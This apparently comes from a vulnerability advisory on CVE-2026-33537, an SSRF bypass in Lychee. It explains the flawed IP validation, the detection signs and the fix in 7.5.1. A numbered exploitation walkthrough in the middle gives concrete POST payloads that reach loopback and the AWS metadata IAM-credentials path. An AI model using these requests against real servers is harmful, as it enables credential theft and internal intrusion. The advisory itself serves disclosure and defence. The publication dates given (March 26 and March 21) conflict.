CVE-2026-33537: 
NixOS vulnerability analysis and mitigation

CVE-2026-33537 is a Server-Side Request Forgery (SSRF) bypass vulnerability in Lychee, a free open-source photo-management tool. It affects all versions up to and including 7.5.0, and was published on March 26, 2026, with a fix released in version 7.5.1. The flaw is a bypass of the prior SSRF patch (GHSA-cpgw-wgf3-xc6v), where the replacement IP validation logic remains incomplete, failing to block loopback (127.0.0.0/8) and link-local (169.254.0.0/16) addresses. It carries a CVSS v3.1 base score of 5.0 (Medium) and a CVSS v4.0 base score of 5.3 (Medium) (GitHub Advisory).

The root cause (CWE-918: SSRF) lies in app/Rules/PhotoUrlRule.php within the Photo::fromUrl endpoint. PHP's FILTER_FLAG_NO_PRIV_RANGE flag, used to validate IP addresses, only blocks RFC-1918 private ranges (10.x, 172.16.x, 192.168.x) and does not cover reserved ranges such as loopback (127.0.0.0/8) or link-local (169.254.0.0/16). Additionally, the localhost check used a strict string comparison ($host === 'localhost'), which does not match the direct IP 127.0.0.1. The fix combines FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE and expands the localhost check to include 127.0.0.1 and ::1 (GitHub Advisory, Patch Commit).

An authenticated attacker can send crafted HTTP POST requests to the /api/v2/Photo::fromUrl endpoint to reach internal HTTP services on loopback addresses (127.0.0.1) even when forbidden_localhost=1 is set. On cloud-hosted deployments (AWS, GCP, Azure), the link-local address 169.254.169.254 is reachable, potentially exposing IAM credentials and instance metadata. Users who believed they were protected after patching GHSA-cpgw-wgf3-xc6v remain vulnerable, increasing the risk of undetected internal service access and cloud credential theft (GitHub Advisory).

A proof-of-concept is publicly documented in the GitHub Security Advisory, including concrete HTTP POST payloads targeting both the loopback and AWS EC2 metadata endpoints. The EPSS score is approximately 0.038%, indicating low but non-zero probability of exploitation in the wild. No active in-the-wild exploitation has been observed, and the vulnerability is not listed in the CISA KEV catalog. Exploitation requires authenticated access to the Lychee instance (GitHub Advisory).

1. Authenticate: Obtain valid credentials for the target Lychee instance (e.g., a standard user account, since only low-privilege authentication is required).
2. Identify the vulnerable endpoint: Target the POST /api/v2/Photo::fromUrl API endpoint, which accepts a list of URLs to import photos from.
3. Bypass loopback protection: Send the following request to reach internal services on 127.0.0.1, bypassing the string-only localhost check:

POST /api/v2/Photo::fromUrl
Authorization: Bearer <token>
Content-Type: application/json

{"urls": ["http://127.0.0.1/"], "album_id": null}

4. Bypass link-local/cloud metadata protection: Send the following request to reach the AWS EC2 instance metadata endpoint, bypassing the FILTER_FLAG_NO_PRIV_RANGE-only check:

POST /api/v2/Photo::fromUrl
Authorization: Bearer <token>
Content-Type: application/json

{"urls": ["http://169.254.169.254/latest/meta-data/iam/security-credentials/"], "album_id": null}

5. Exfiltrate data: Review the server's response or Lychee's import behavior to extract information returned from the internal service, such as IAM role names or credentials from the cloud metadata endpoint (GitHub Advisory).

• Network: Outbound HTTP requests from the Lychee server to 127.0.0.1 or 169.254.169.254 originating from the PHP/web process; unexpected connections to internal IP ranges not associated with normal photo import activity.
• Logs: Web server or application logs showing POST /api/v2/Photo::fromUrl requests with URL parameters containing 127.0.0.1, ::1, 169.254.169.254, or other loopback/link-local addresses.
• Application Behavior: Unusual photo import attempts that fail or return unexpected content (e.g., HTML from internal services rather than image data); repeated failed import attempts from internal IP addresses.

Upgrade Lychee to version 7.5.1 or later, which corrects the IP validation logic by combining FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE and expanding the localhost check to cover 127.0.0.1 and ::1 (Patch Commit). As a defense-in-depth measure, implement network-level egress controls to restrict outbound connections from the Lychee application server to loopback and link-local IP ranges. On cloud deployments, consider using IMDSv2 (which requires session-oriented requests) to reduce the risk of metadata endpoint exposure even if SSRF is achieved (GitHub Advisory).

The vulnerability was reported by security researcher Assaf (@offensiveee) and the advisory was published by Lychee maintainer ildyria on March 21, 2026. No significant broader media coverage or notable community commentary beyond the GitHub advisory has been identified at this time (GitHub Advisory).